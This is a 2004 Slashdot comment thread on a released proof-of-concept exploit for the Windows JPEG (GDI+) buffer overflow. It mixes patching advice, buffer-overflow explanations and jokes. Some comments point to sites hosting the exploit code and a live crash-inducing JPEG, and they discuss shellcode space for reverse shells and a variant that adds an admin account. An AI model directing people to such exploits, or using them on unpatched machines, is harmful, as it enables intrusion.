Public Exploit For Windows JPEG Bug

Khoo writes "A sample program hit the Internet on Wednesday, showing by example how malicious coders could compromise Windows computers by using a flaw in the handling of a widespread graphics format by Microsoft's software. Security professionals expect the release of the program to herald a new round of attacks by viruses and Trojan horses incorporating the code to circumvent security on Windows computers that have not been updated. The flaw, in the way Microsoft's software processes JPEG graphics, could allow a program to take control of a victim's computer when the user opens a JPEG file." We mentioned this earlier.

Comments

Knew it

[Anonymous Coward]

I knew there was something wrong with Goatse when I saw it!

Re:Knew it

[jb.hl.com]

It's a gaping security hole.

Re:Knew it

[tcr]

From comments I have read by fellow Slashdotters, I understand that the port is question has been attacked on such a regular basis that it has expanded into a much wider hole than originally designed...

Almost...

[mirko]

Now, to convince my company's managers to switch their userbase to Firefox, I just need it to support Sso (Single sign-on), please, tell us it's coming otherwise we'll keep using this tyrabrowsaurus...

Re:Almost...

[pcardno]

Is anyone working on Single Signon for the Firefox/Mozilla platform? We're stuck using IE here as well as we've integrated Netegrity's Siteminder with Windows Single Sign On into the whole Active Directory thing (i.e. sign into your Windows computer and from that IE can figure out who you are so personalises our Intranet) but I'd rather we could get over to Firefox simply cos it's faster and less buggy!

Oh, and then other people in the company wouldn't sniff at me for using it!!

Re:Almost...

[lphuberdeau]

Browsers are not the only problem. Many companies use outlook as a mail client. Someone could simply include a jpeg image to the mail and since images are loaded by default, they would infect everyone. Seriously, the only way around this is to update software. Microsoft already has a patch for this I think.

Re:Almost...

[enigmals1]

Switch to Firefox?! Why, what's that gonna do for you? The exploit is in almost every major app Microsoft makes that handles any graphics, including Windows itself, .Net Framework, all Office products, etc.

People are so quick to blame IE when there's so many other products they can go after. ;)

Re:Almost...

[SenseiLeNoir]

This is exactly the problem I fear. All it takes is one spammer/cracker to bulk mail a hundred of pictures to random HTML accounts (Hotmail, etc).. and you can see exactly where this is going to lead.

Also those who use Firefox may not be 100% protected, because consider this scenario.

1. Install Firefox
2. Set Firefox as default browser
3. Use MSN Messenger.
4. MSN messenger pops up "you have new hotmail"
5. Click link to see new mail, MSN Messenger opens up in INTERNET EXPLORER despite setting firefox as the default browser.
6. You are owned.

I am more concerned that after this, people may even mistakenly critisize Firefox, thinking that Firefox was there default browser, and that they got infected via firefox, instead of IE.

"I set up this firefox thingie, and set it as a default browser, yet I still have a virus, by just reading my email. Firefox is just as bad as IE"

A second attack vector could be to change the mimetype of the JPEG, causing Firefox to download, then open it in the system handler for JPEGS.. and a possibility of being owned that way.

Still this may also be very good grounds for a class action against MS, as they are not honouring a users request NOT to use IE.

This all goes to prove, MS is a security hole, that can even make secure applications appear insecure

Ow, my head hurts from thinking of this.. let me get some Paracetamol.

Re:Almost...

[YrWrstNtmr]

Many companies use outlook as a mail client. Someone could simply include a jpeg image to the mail and since images are loaded by default,

OL2003 has image loading off by default. "RightClick to display this image."
Of course, most people are on earlier versions, but at least MS is putting in an effort to stem the tide.

Re:Almost...

[AstroDrabb]

We use Netegrity as well. However we went against the single sign-on thing since it was less secure. Our users get stopped by a Netegrity form and enter their username password and then can go to any corporate intranet web app without signing in again until they close their browser or the session expires (about every hour). Firefox/Mozilla already support Windows authentication for single sign-on. It prompts a user for their name and password instead of just silently sending it. The user can even check a "remember password/username" option so they don't have to enter it again. Some management tried to get the admins to turn on windows authentication with Netegrity but the admins and we programmers stood our ground and said how bad an idea it was. Our users can get to all types of personal information and personal financial information on our corporate intranet. It is really dumb to not authenticate a user at least once per session. If a user walked away from their desktop without locking it (happens all the time), anyone could walk up to their box and get to all their personal data if we used just windows authentication. We do have a policy that locks a desktop after 15 minutes, however that is still a 15 minute windows for someone to do get to someone elses personal and financial data.

Tell your management to turn off the Netegrity/windows authentication and use Netegrity form authentiation over SSL. Also, there is no reason why your users cannot user Firefox/Mozilla since it has had cross-platform support for Windows authentication for a few versions now.

Re:Almost...

[tcr]

Now, to convince my company's managers to switch their userbase to Firefox

Before we get too smug, the article (anyone read those?) did mention an (albeit unrelated) vulnerability in Moz amongst others (PNG support) from August. Reproduced below.

To avoid getting the flameproofs on, I should point out that Firefox is my browser of choice. But let's avoid the whole stones and greenhouses scenario, yeh?


update Six vulnerabilities in an open-source image format could allow intruders to compromise computers running Linux and may allow attacks against Windows PCs as well as Macs running OS X.

The security issues appear in a library supporting the portable network graphics (PNG) format, used widely by programs such as the Mozilla and Opera browsers and various e-mail clients. The most critical issue, a memory problem known as a buffer overflow, could allow specially created PNG graphics to execute a malicious program when the application loads the image.

Among the programs that use libPNG and are likely to be affected by the flaws are the Mail application on Apple Computer's Mac OS X, the Opera and Internet Explorer browsers on Windows, and the Mozilla and Netscape browsers on Solaris, according to independent security researcher Chris Evans, who discovered the issues.

Re:Almost...

[Gentlewhisper]

"Why anyone would use msn messenger is beyond me, I hate that thing. It's more annoying than clippy. They just need a soundbyte with it that yells "you've got spam!" and it'll be complete."

I've got just the right thing for you!
http://tmp.infosynaptics.com/spammail.wav

Re:Almost...

[dtfinch]

This usually works:
rundll32 advpack.dll,LaunchINFSection %systemRoot%\INF\msmsgs.inf,BLC.Remove

Re:Almost...

[Jucius Maximus]

"I tried to uninstall it, but it kept comming back. This is actually the more permanent solution since it keeps it's shit in the registry so windows "thinks" it up and working."

I suggest you check out a pair of wonderful little tools called StartupMonitor and Startup Control Panel. The former will alert you when things try to register themselves as 'auto-startup' items in the registry and give you the option to shoot them down, and the latter will allow you to unregister already existing auto-startup items in the approximately seven different places they can lurk. It is very useful for eliminating and avoiding problems like this.

Re:Almost...

[MBaldelli]

Why anyone would use msn messenger is beyond me

You're confusing MSN messenger with Windows Messenger. I've been using MSN Messenger for some time now, and I've never seen the amount of spam that I used to with Windows Messenger. And there's a better run line that removes the entire package from a system never to be seen again which can be found here http://www.dougknox.com/xp/tips/xp_messenger_remov e.htm.

For those of you acting all "chicken little" about an exploit that is not only fixed, but can be scanned for as malicious in several popular Anti-Virus Products as of the end of last week, following is the command that I have successfully used to remove Windows Messenger from my system. From a Run Dialog Box, copy & paste the following:

RunDll32 advpack.dll,LaunchINFSection %windir%\inf\msmsgs.inf,BLC.Remove

Re:Almost...

[pcardno]

Sounds like our places have exactly the same issues! Our WSSO only works from your own laptop or desktop, and only if your screen saver settings are set to be passworded and turn on after 10 minutes. It's safe to say that caused a lot of arguments, particularly from people working in labs/manufacturing who run an experiment, go back to the computer, type something, go away for 5-10 minutes again, come back and so on, as they're sick of retyping their passwords.

But the thing it is succeeding in doing is making people far more aware of the security of their own computer - after all, most people use their work computers to store personal stuff, whether it's correct to or not, then disappear off to lunch for an hour. Now that we have WSSO people are far more aware of exactly what they've done when they've signed into Windows and tend to lock there computers when they walk away - a previously unheard of thing to do!!

Agreed though about the cross application SSO - it's be a godsend. We've also worked with some external companies (travel providers etc) to extend our domain/trusts to their eSolutions so that we don't have to log into the Extranet sites either...

Re:Almost...

[Lehk228]

put a null text file in place of msn messenger and make it read only, that way nothing can auto-repair your "broken" windows messenger install.

Re:Almost...

[Megor1]

Just set Internet Explorer to use an invalid proxy, and set the user policy that they cant change it. Now the user can't use IE on the Internet at all.

Re:Almost...

[Craig Davison]

Then mail them an image they want to see. The user will right-click, see a perfectly normal piece of porn and in the meantime will be silently getting owned.

Patch is Already Out

[darkmeridian]

The patch for this one is already out. Furthermore, SP2 systems do not have this vulnerability unless Office is installed. SP2 by default has auto-updates enabled. And for Office to be exploited in a SP2 system, the user has to open the file manually.

Code is always buggy. Even Firefox had a JPEG vulnerability of its own. This is dumb ownership, if this bug becomes prevalent.

Re:Patch is Already Out

[RDosage]

This is dumb ownership, if this bug becomes prevalent.

Sort of like it was dumb ownership to leave your SQL machine open to the Internet, allowing port 1334 open?

Or it was dumb to open any of the attachments claiming to be from your administrator sending a passworded zipped file with some "clean-up tool" attached?

We have proven that users aren't the one's responsible enough not to do something dumb. And, SP2 is still undergoing testing in many office environments.

Re:Patch is Already Out

[Gzip Christ]

This is dumb ownership, if this bug becomes prevalent.

Phew... I was worried there for a second. It's a good thing we can rely on Windows users to not be dumb, otherwise the Internet would be bogged down in viruses, spyware, and spam.

Re:Patch is Already Out

[Epistax]

Still, I have to wonder how they internally wrote code to let things like this happen. It seems to me you want to write your program such that if something unintentioned does happen, it is at least bound by what it can do. Execution stemming from a jpeg? Oh, come on :P

Re:Patch is Already Out

[darkmeridian]

This is dumb ownership, if this bug becomes prevalent.

Phew... I was worried there for a second. It's a good thing we can rely on Windows users to not be dumb, otherwise the Internet would be bogged down in viruses, spyware, and spam.


Well, most users are, uh, stupid. Even if we used Linux, in order to make it simple enough to use, there will be vulnerabilities. For example, getting people to use "sudo" with a limited account makes sense to you and me, but might confuse the heck out of some newbie in Tennessee.

So it is not a Windows-specific problem. If Linux ever becomes popular as a desktop platform, we will then have dumb Linux users.

Re:Patch is Already Out

[maxwell demon]

Well, you know, that's called a software bug. A software bug is by definition something you didn't intend.

Actually, it's a buffer overflow. A buffer overflow means that there is some area of memory reserved for some data, and then there's more data written to it than fits in. This causes some other data to be overwritten; if that other data happens to be a return address (basically a number which tells the computer where to continue after finishing the current task), then you can get the computer to execute arbitrary code which is in memory - including the code you just conveniently placed into the memory as "image data".

I don't know details of the JPEG image format, but with a simple bitmap format, a buffer overflow might happen as follows:

The image contains the number of pixels, and the bytes per pixel. The program takes those numbers, multiplies them, and reserves that much memory to take the pixel values. Then it reads the rest of the file as image data into that memory.

Now, this simple program for this simple image format may be easily exploited: Just put more data into the image than the product of number of pixels and bytes per pixel. Then the program as written will not reserve enough memory for that data (because the values at the beginning don't tell the truth), and therefore the data will overwrite anything following the data.

Ok, the fix is easy: Don't read more data than you allocated memory for. The problem is that on one hand, there are C standard functions which make it easy to get that wrong, and second, there can be more subtle ways to produce the same result. For example, the multiplication could overflow, resulting in too little memory being allocated, while the given number of pixels is read in (under the believe that you have reserved enough memory for that).

And yes, buffer overflows happen in open source software as well as in Microsoft software.

Re:Patch is already out

[BoldAC]

Come on guys! This is slashdot!

Where is the downloadable link to the second proof of concept code?

Here's the link to the first POC:
http://www.gulftech.org/?node=downloads

The first POC just generates the buffer overflow crash. Interesting enough, on an unpatched system, just having the jpg on your desktop caused by explorer to crash - repeatedly. I am assuming as XP tried to generate the thumbnail. However, if viewed through a web page, I could view it fine.

I've been looking for the second POC code since yesterday. It supposedly opens a cmd prompt when the crafted jpg is viewed.

AC

Re:Patch is already out

[Trigun]

http://www.k-otik.com/
You can find it all there, including a C program that fires off a local cmd shell.

Only for use as a security lesson and ethical hacking.

Re:Patch is Already Out

[Cecil]

For example, getting people to use "sudo" with a limited account makes sense to you and me, but might confuse the heck out of some newbie in Tennessee.

That hasn't stopped Mac OS X from doing exactly that. You know, Apple, the guys who are all about usability to the point of having a set of UI design guidelines for all developers to abide by.

Re:Patch is Already Out

[Epistax]

That's pretty low man. I've coded plenty before and I've never encountered an instance where I can't check to see if a buffer overflow has occurred. I can't help but feel that all of these exploits are just sloppy programming. That is, they shouldn't exist and even the most basic test would show a problem. I don't know what kind of excuse you're trying to make for the programmers but your cowardly incorrect one sentence observation doesn't give me any insight.

Re:Patch is already out

[KidHash]

Which isn't really that helpful, however, there's space for 2500 bytes of shell code (ie, lots of space left in the example on k-otik) for writing something with a reverse-shell - in fact, this has already been done, it just isn't public There's also a newer example on k-otik Which adds an administrator account to the system it runs on, however, you'll have to edit some of the code yourself - script-kiddy-proof.

Re:Patch is Already Out

[Junks Jerzey]

That's pretty low man. I've coded plenty before and I've never encountered an instance where I can't check to see if a buffer overflow has occurred. I can't help but feel that all of these exploits are just sloppy programming.

It isn't sloppy programming as much as the rules having changed. It used to be that you'd write an image decoder (or *any* program that reads an external file format), and you'd either (a) assume that the file structure is correct (because if it isn't, then it had to be created by a bad encodder), or (b) do some rudimentary checking to catch basic problems (such as a missing file id tag in the first bytes). And the worst that could usually happen was that your decoder would crash or become unstable. Really, this is how things have been, how coders have worked. Remember, it applies to every single type of external data read into a program: serialized data saved by library classes in C++, Python, etc., bytecode files read by a virtual machine or other interpreter, help file indices, intermediate object files...everything.

Moreso, just because you don't have buffer overruns doesn't mean you're in the clear. You have to check for tremendous files, too. What if someone passes you an image file that's correct and compressed, but decompresses into a 100,000 by 100,000 32-bit image? Even if you had the memory to decode a large file, the resources it takes up makes it essentiallly a denial of service attack.

These are tough issues.

Re:Patch is Already Out

[strider44]

Most people just call both circumstances "buffer overflow", even though there's a subtle difference.
Anyway it's not that easy - forgetting to check for buffer size is an easy mistake to make, even though it is an extremely bad one to make. Most of the time it's not even evident looking at the code specifically looking for buffer overflow possibilities.

Re:Patch is Already Out

[kjamez]

Well, most users are, uh, stupid. Even if we used Linux, in order to make it simple enough to use, there will be vulnerabilities. For example, getting people to use "sudo" with a limited account makes sense to you and me, but might confuse the heck out of some newbie in Tennessee.

why tennessee? people from mississippi/alabama/arkanasa stereotypically are much dumberer than we is.

to keep it on topic: by numbers, the likelyhood of a major jpeg-vuln outbreak is much greater in say new york than (god PERSONAL backyard): greeneville, tennessee.

Re:Patch is Already Out

[drinkypoo]

The difference is that it actually works in MacOS. Because MacOS is now Unix programs have a Unix context. You can see the context of your shell by running the "id" program (this is in cygwin, which is what I have handiest):

uid=11008(service) gid=10513(Domain Users) groups=0(root),545(Users),10513(Domain Users),11071(Matric),11040(Tech),11233(visio2000)

Unix programs spawned from a prior program always inherit the user context of the spawning process. On Windows, this is simply not true. I don't know if there's two ways to launch programs, with one causing the explorer to do it, but that seems like what's going on, because if I Run As... an installer (shift-right click will show it in the context menu) then maybe half the time it actually runs as the chosen user. Most of the time the second stage of the installer spawns with MY permissions, and I can't complete an install. Properly constructed installers, of course, will ask you if you want to elevate privileges when you run them, but I assume that's a relatively new option of installshield.

The short form is that "sudo" (or as microsoft has it, run as... from the menu or the runas command) is not a valid solution on Windows because it doesn't work. It would be nice, though.

Re:Patch is Already Out

[drinkypoo]

If your girlfriend puts that much faith in IQ tests, she's retarded :P

PNG too?

[cpghost]

What about the vuln. in the PNG libs? Any exploit in the wild?

Re:PNG too?

[Deviate_X]

Some related exploits.

Windows JPEG: Windows JPEG Processing Buffer Overrun PoC Exploit (MS04-028)

Qt BMP: Qt 3.x bmp image parsing local buffer overflow Exploit

XV BMP XV v3.x bmp parsing local buffer overflow Exploit

GV Postscript: GV PostScript Viewer Remote Buffer overflow Exploit

LibPNG: LibPNG Graphics Library Remote Buffer Overflow Exploit

Spammers

[sleepnmojo]

The biggest problem here is when spammers use this in there opt out link. This would probably be much more effective than the scrollbar hack they are using now. It just has to render the damn page, and wham you're infected.

Re:Spammers

[don_carnage]

HTML-formatted email + Outlook = Bad day for Grandma.

Can someone confirm...

[Boss, Pointy Haired]

...because I have not seen this mentioned at all.

Is the JPEG rendering in Firefox running on Windows independent of any underlying MS library and is therefore not affected?

Re:Can someone confirm...

[Soul-Burn666]

I can't confirm for 100%, but I can confirm there was a similar exploit for the JPEG rendering system Firefox uses, and it is patched at 1.0PR, and _maybe_ in previous versions.

Re:Can someone confirm...

[darkmeridian]

...because I have not seen this mentioned at all.

Is the JPEG rendering in Firefox running on Windows independent of any underlying MS library and is therefore not affected?

It is independent of all MS libraries. The recent JPEG vulnerability in Firefox is a separate issue. Firefox is OSS, and thus cannot use closed-source libraries such as the MS one in trouble.

Re:Can someone confirm...

[Sanity]

The recent JPEG vulnerability in Firefox is a separate issue. Firefox is OSS, and thus cannot use closed-source libraries such as the MS one in trouble.

If that were true, then you wouldn't be able to use OSS on a non-OSS operating system, since eventually the OSS needs to link with non-OSS code.

Re:Can someone confirm...

[Dan Ost]

I think what he meant to say is that in order to be portable, FireFox can't
use system specific libraries to do any rendering. Actually, no I don't. After
reading it again, it looks like he's just wrong.

So what? Burn all JPEGs day?

[Advocadus Diaboli]

On November 5 1999 we had the "Burn all GIFs" day because of patent issues. Shall we announce a "Burn all JPEGs" day because of Microsoft security issues now and switch all to PNG?

Re:So what? Burn all JPEGs day?

[Ford Prefect]

Shall we announce a "Burn all JPEGs" day because of Microsoft security issues now and switch all to PNG?

Well, you could, but don't forget the recent bugs in libpng... ;-)

Re:So what? Burn all JPEGs day?

[maxwell demon]

No, this time it's "Burned by JPEGs" day!

pr0n

[Lord Prox]

Damn. Now in addition to worring about going blind I also have to worry about catching something.

Related links?

[caluml]

What's all this stuff in the related links?

. Bug whitepapers
. Best deals: Bug
. More Bug stories
. Security whitepapers
. Best deals: Security
. More Security stories
. Windows whitepapers
. Best deals: Windows
. More Windows stories
. Microsoft whitepapers
. Best deals: Microsoft

When did that start happening?

Re:Related links?

[jpetts]

Tell me what you think of my photos

Wow, those are some pretty nice jpegs! I expecially like the ~~~.&!# No carrier

Are you patched?

[UnderAttack]

These early POC exploits are covered in todays
ISC Diary. Note that now there is a script to generate images to add an Admin level user (username "X").

Not too long until we see a remote shell.

Some people are tlaking about seeing it used in an MSN Messenger worm.

The hard part about patching this one is that a lot of third party software may overwrite the Windows JPEG GDI library with its own older version :-/

Re:Are you patched?

[ajs]

Not too long until we see a remote shell.

And therein lies the rub. For the people that write these things, it's reaching the point of diminishing returns in terms of getting the tools installed that they need in order to efficiently, remotely manage these boxes. It was all fun and games when you just wanted 10,000 boxes to send out ping-of-deaths or SYN floods, but now you have to manage a farm of zombies and get real work out of them. The competition is fierce and the other guy is trying just as hard as you are to get large-scale admin working, and of course, like all large-scale Windows installations, they're finding that this sucks.

Several things would help:

* A virtual OS layer is needed so that the user can have Windows for their games, but the crackers can do their admin from a maintainable OS. Heck, even DOS would be more managable.

* Users should make themselves available to the crackers for physical admin needs like reboots.

* Microsoft needs to stop pushing these auto-updates. It's not as if the crackers can't find new holes faster than MS can push the updates, but the rapid change to an installed base is just too difficult to remotely manage. Bill: you're killing profits here!

Overall, we just need to start making doing business on the Internet more friendly. I don't understand why people can't understand this!

PS: ;-)

Why so much noise?

[Cyberax]

So much noise about an ordinary Windows insecurity...

IMHO, Longhorn with .NET core is the last Microsoft's chance to correct its public image as the 'most insecure software vendor'.

Another question: when will Longhorn be out before Duke Nukem Forever?

safe sex

[gusmao]

Does that mean when you watch porn on the Web it is not safe sex anymore? Damn it!!!

Re:safe sex

[(H)elix1]

Does that mean when you watch porn on the Web it is not safe sex anymore? Damn it!!!

Come on, man... bring it to the digital age. When watching pr0n online, you have to practice safe hex.

Patch is already out

[Jeffv323]

Pick your OS and download it here

Also, if you have SP2 or uh, don't use MS software, you're fine :)

patch has been available for a while now

[jeffs72]

And it actually works fairly well. It scans for any program that reads these files and makes sure they don't have the bug in them. If it can't patch them, it bugs you about it so you can find a fix for the app. Only Microsoft apps of course, I don't think Adobe wants Microsoft pushing out software updates for them.

Most of the users I have to support aren't savvy enough to add a printer (omg, with active directory it's like 3 mouse clicks) or install software or apply updates (we use some banking software and it notifies you with a text box to click "OK" and then "File, Update" but I still get called on it every time). That's why at our offices we use Microsoft System Update Server (SUS). It lets us approve patches and then roll them out to all the clients in the domain automagically.

I shudder to think what would happen if I tried to roll out firefox or mozilla to everyone. I'd probably get calls that their "e" was missing and they couldn't connect to the internet. I swear, some people just shouldn't be on computers.

Re:I cannot help but grin ...

[Pieroxy]

but I have a strong suspicion
Everyone is entitled to its own suspicion.

The level of polish and craftsmanship of open source software
As opposed to the level of polish and craftmanship of Microsoft's products, of which you know nothing. So you are comparing apples to ... well something you just don't know. Good luck for being objective.

Re:Patch already out

[Jeffv323]

Pick your OS and download it here!

Of course here, is this place --> here

I knew that preview button was good for something

Re:Single sign-on for a browser?

[pcardno]

You can do something with Active Directory to enable single sign on so that your browser can use your Windows credentials to figure out who you are.

An example being that I log into my laptop on the corporate network in the morning, but then never need to log into our Intranet. It uses my Active Directory credentials to figure out who I am, so displays my own customised and personalised Intranet settings.

I'm not too sure how it works but it's very handy!

hmm someone predicted this

[minus_273]

about a year or so back there was a slashdot story about i think macafee researchers talking about viruses being transmitted over images. Everyone called it stupid market speak from a firm trying to sell more AV products by scaring people with somthing that is not possible. I think we all need to offer them an apology. I think this is a bizzare parallel to when people used to joke about email viruses way back in the min 90s. Kind of sad that it is real now. It will be even more so when images are used for exploits too. Though, i suspect those at most risk are those that go to websites looking for lots of images...

Re:hmm someone predicted this

[Anonymous Coward]

Yeah, it's pretty ridiculous that virus scanners need to scan pretty much EVERY file on your hard drive now. It started with just .EXE and .COM files, back in the DOS days. Then there was that batchfile virus (which used DEBUG)--add .BAT. Windows caught on--add .DLL. Then came macro viruses--add .DOC. And the AV companies caught on and decided to scan compressed files--add .ZIP and nowadays even .RAR. Then Windows started including scripting--add a half-dozen extensions there. Some JavaScript and Active-X-based exploits--add .HTML. Then there were some WinAMP and Windows Media Player buffer overflows--add .MOD and .MP3. Now we've got .PNG and .JPG.

There really is no difference between "data" and "code" these days. The worst is when programs, which are registered for dozens of filetypes, ignore the extension and instead look at the content of the file to determine what to do with it. (For example, you can rename a .MOD file as .WAV and it will still play in WinAMP.) So that not only increases the number of extensions to scan, but requires that files with those extensions be scanned in a bunch of different ways.

It's sad, really.

Re:hmm someone predicted this

[stromthurman]

And for further information, the virus MacAfee reported on was called Perrun. You can read more about it here. The advisory was issued in mid 2002, and is entirely seperate from the issue at hand.

Hard to patch

[Manip]

This bug exists in most Microsoft Software. So for someone to patch they can't simply connect to Windows Update and consider themselves safe, they also have to patch Office, Visual Studio, some Microsoft Games, Server Software (misc, not covered by Update) and more.

So don't sit there on an SP2 system and consider yourself safe. There is more than likely a whole host of ActiveX controls just waiting to be called and exploited by this bug.

Also note that some applications written in Visual Basic can also be exploited.

Re:Hard to patch

[mikechant]

Yes, and also note that the not totally clear wording in the MS article might lead (for example) one to think that you are safe in Win98 because MS lists it in the 'Software not affected' list. But IE6 *is* affected even if you are running it on Win98.

ho to find it?

[RosCabezas]

Is there a tool to proccess jpg files searching for malicious content?

Microsoft patches

[Anonymous Coward]

You can make a big fucking quilt with all those patches they keep giving out!

Re:troll.

[Skye16]

Really? It loads pages faster for me. Sure, the initial start up time is worse, but...

Just because you took his comment out of context doesn't mean he's a troll. :P

Re:I cannot help but grin ...

[LousyPhreak]

well... "know nothing" is not really true counting the numerous holes, fixed holes and whatnot, and also the rather long response times for some of them...

yes i know open source software also has numerous bugs, but as its "open" source the flaws are usually much faster found and fixed within hours (if possible)

Re:Single sign-on for a browser?

[silence535]

It is called NTML authentication.

-jsl

Let me get this right...

[slot32]

M$ Release Sp2 for XP. People resist installing cause they hear it can screw things up etc so they delay installing. M$ announce a new flaw with sample code in the wild, show how every O/S they have (practically) is suseptable EXCEPT XpSp2. ...? Funny order of events no?

Everyone knew it

[Pan T. Hose]

I knew there was something wrong with Goatse when I saw it!

Everyone knew it was a backdoor.

Comment removed

[account_deleted]

Comment removed based on user account deletion

Re:I cannot help but grin ...

[YetAnotherName]

of which you know nothing

As a user of Microsoft products, I witness their lack of stability, their tendency to crash or exhibit bugs, and their uncanny ability of corrupting user data, and so forth. After putting up with them for so long, I know quite a bit about them.

Moreover, I used to be an employee. I worked at the Redmond campus. I know both the quality exhibited on the outside, and the quality that goes into the products on the inside.

I do indeed know something.

THIS HAS NOT BEEN FIXED, url inside

[Anonymous Coward]

http://sylvana.net/test/AP4.jpg

will crash IE on an updated xp sp2 system.

Re:THIS HAS NOT BEEN FIXED, url inside

[Jan-Pascal]

Confirmed on WinXP SP2, all Windows updates, all Office updates. OK in Firefox (1.0PR), but crashes IE 6. And it's not even a goatse link: http://sylvana.net/test/AP4.jpg

Re:THIS HAS NOT BEEN FIXED, url inside

[ericpi]

The fact that a fully patched IE still crashes on this JPEG (and others, I'm sure) is inexcusable.

I can somewhat understand that their previous JPEG implementation had problem(s) with unchecked input. In a perfect world, programmers would be better at validating input, but we all know the rush to get SW out the door. These bugs can (unfortunately) slip by.

However, after a highly public and exploitable flaw is found in their JPEG parsing, they should have made damn sure that the 'fixed' version is rock solid, validating every single bit of an image. What this says to me is that they found the one bug that caused the initial exploit, then didn't bother to see if there were others. Lazy and unacceptable.

Re:THIS HAS NOT BEEN FIXED, url inside

[DigitalRaptor]

This is standard fare for Microsoft. They patch the particular exploit, rather than the vulnerability that allowed it.

Fatal mistake, and one they make VERY often. Remember all of the RPC viruses we had one after the other? Same vulnerability, different exploits, one bandaid after another.

I despise it when doctors treat symptoms rather than the underlying problem. This is standard operating procedure for Microsoft.

Re:THIS HAS NOT BEEN FIXED, url inside

[julesh]

http://sylvana.net/test/AP4.jpg

will crash IE on an updated xp sp2 system.

It also crashes a Win2K system, which is NOT AFFECTED according to the original MS announcement.

Re:I cannot help but grin ...

[IamTheRealMike]

The level of polish and craftsmanship of open source software

Open source software has plenty of bugs, duh.

In fact, there are similar problems with parsing image files on Linux as well. Except that Windows is actually more secure, because it has auto-updates turned on by default from XP2 onwards, and stack protection type patches built in by default. On Fedora you have execshield, but that hasn't been fully upstreamed yet so only a small subset of Linux users are protected. I don't know of any distros that download and apply security patches with no user intervention out of the box.

(recall OS X's open source roots)

Even if open source software was perfect (which it isn't) large parts of MacOS X are not open source. Most of the important bits aren't, in fact. Surprise surprise, the Mac has had serious URL handler exploits which are like this JPEG problem: arbitrary code execution via a web browser. Except in the case of the Mac URL handler problems it was a design problem not just an unchecked buffer, to do with insecure-by-design features. D'oh. ActiveX all over again.

So, no, I don't trust Apple any more than Microsoft when it comes to security. How can you? They are both proprietary OS companies, with all the issues that implies.

can never be duplicated by Microsoft's paranoid and closed-doors efforts

These days Microsoft have dedicated programs scanning their code looking for suspicious patterns, security testing teams, and give their developers extensive training in how to write secure code. These are advantages not available to open source coders. If anything I'd say they're close to taking the lead in absolute terms for security (by which I mean, assume equal market share for Windows, Linux, Macintosh - which is more secure).

Use safe languages for libraries?

[0x0d0a]

You know, it might be worthwhile to write things like libjpeg in safe languages.

Ocaml is pretty fast, but I realize that not everyone wants the runtime. How about cyclone? It's an extended version of C that's backwards compatible with C, but can pick up unsafe errors at compile time -- sounds pretty much like what folks might want.

Re:Use safe languages for libraries?

[IamTheRealMike]

Ah, I was thinking about how useful a safe C dialect would be only the other day. If Cyclone is the real thing, then getting a GCC frontend for it up and running then convincing maintainers of important libraries to port to it (or forking) might be a great way to help out open source security.

/me goes back to reading the website

Re:Single sign-on for a browser?

[silence535]

It is already built in. Only hast to be activated per Server.

- about:config
- filter for ntlm
- enter comma separated list for network.automatic-ntlm-auth.trusted-uris

Voila!

-jsl

Comment removed

[account_deleted]

Comment removed based on user account deletion

Link

[fearlezz]

I don't see a link to the sample exploit in the article...

well, here is one link.

Don't worry....

[Kjella]

Still this may also be very good grounds for a class action against MS, as they are not honouring a users request NOT to use IE.

That anti-trust case will be raised by 2006 and resolved by 2014, by which time the successor to the successor to the successor of Longhorn will be released, with a few more dozen anti-trust issues and another slap on the wrist from the DoJ.

Kjella

AutoUpdate not good enuff

[DanMc]

Autoupdate and Windowsupdate only install a fraction of the patches released for this bug. (Windows OS and IE basically)

WindowsUpdate does install a "GDI+ Detection Tool", but I have run this tool on systems with unpatched Visual Studio, Outlook, and Office and it does not detect that the patches are missing. I looked at the strings in this tool, and it basically looks like it checks for MS Photo software.

Manually visiting "officeupdate.microsoft.com" and running those updates will probably cover the most common attack vectors (Outlook, Word), but how many people do this on a regular basis? My users are not admin-level (yet) so they can't use this update site.

Incidentally, every default configuration of IE/Word I have seen allows DOC files with jpegs to be opened in the browser window with no prompting. It will not be hard to get people to run the exploits, and there's plenty of ways for worms to automate themselves without users opening things.

I'm working on a script to detect and run the patches (there's about 17 of them for this bug) but it's going to be a while because of the pre-reqs for many of the patches, and the very specific revisions that must match the patch. "If Visio 2002 is installed, detect which Visio SP level is running. If it's SP0 or SP1, run Visio SP2, then reboot, and run GDI patch"...

Sorry if I'm spreading panic, but this bug sucks.

Mother really did know best

[R.Caley]

You remember when she told you that looking at `those' pictures was bad...

"Don't look, Ethel!"

[R.Caley]

but it was too late, she'd already been wormed.

PROXY !

[nucleargeek]

Writting a proxy server that validates or blocks all JPG images going through it, is probably possible. Such a proxy can also process PNG, BMP and other vulnerable formats.This proxy could be run either at
the user level (personal protection) or at the ISP level.

Time to start a new open source project !

The real way this will infect people...

[Khyron42]

Everyone seems to be expected infected pr0n or e-mail... it's so much simpler than that it's been scring me since this exploit was announced. I'd say about 2/3rds of the corporate computers in this country are still vulnerable, and enough of them visit MSN or CNN.com on a regular basis for a simple banner ad to give someone a REALLY nice assortment of zombie PCs.

Better make sure...

[jmcmunn]

I better make sure to convert all of my porn to .png format from now on. It'd suck if someone hijacked my computer while I was busy...

The only MS products without security holes ...

[VitaminB52]

... are the books by Microsoft Press.

It does

[Rayban]

Check out the setting "network.automatic-ntlm-auth.trusted-uris". It will automatically send your Windows credentials to any URL listed in the comma-separated list.

OSS browsers have similar probs

[TheLink]

They're written in the notorious "buffer overflow" languages, so most people will have these problems for the near future.

Meanwhile what you can do is to run each program as a different more restricted user.

On windows XP, run IE with using a shortcut with a runas with savecred (you should modify those in the start menu and quick launch too), and set it so it runs using a very restricted account. The restricted account should either have access to your bookmarks, history and temporary files, or you should run it so it changes to the restricted user's home directory and you allow your main account access to the restricted user's home directory.

Look up the runas command for the options. It'll be more convenient on WinXP since there's the savecred feature.

On UNIX, I think you can use sudo or something similar. Sudo to a restricted account and then run the browser.

This way, if your program gets exploited it can only ruin what the restricted user has access to, it can't easily touch the rest of the system.

Exploits can still theoretically touch the rest of the system since there's stuff like shatter attacks (for windows, not sure about KDE/GNOME), and I'm sure display drivers have bugs of their own and they run in ring 0 (on windows).

But if you do this it raises the bar significantly.

There are other options if you're really paranoid and don't mind the extra effort.

One of the best exploit sites around

[Alejo]

For info on exploits badcoded Note: This is not a 0day site, it is real info for exploit writing.

He knew it...

[insac]

When I was in University there was an old professor who gave us to write relation about JPEG format with code examples...

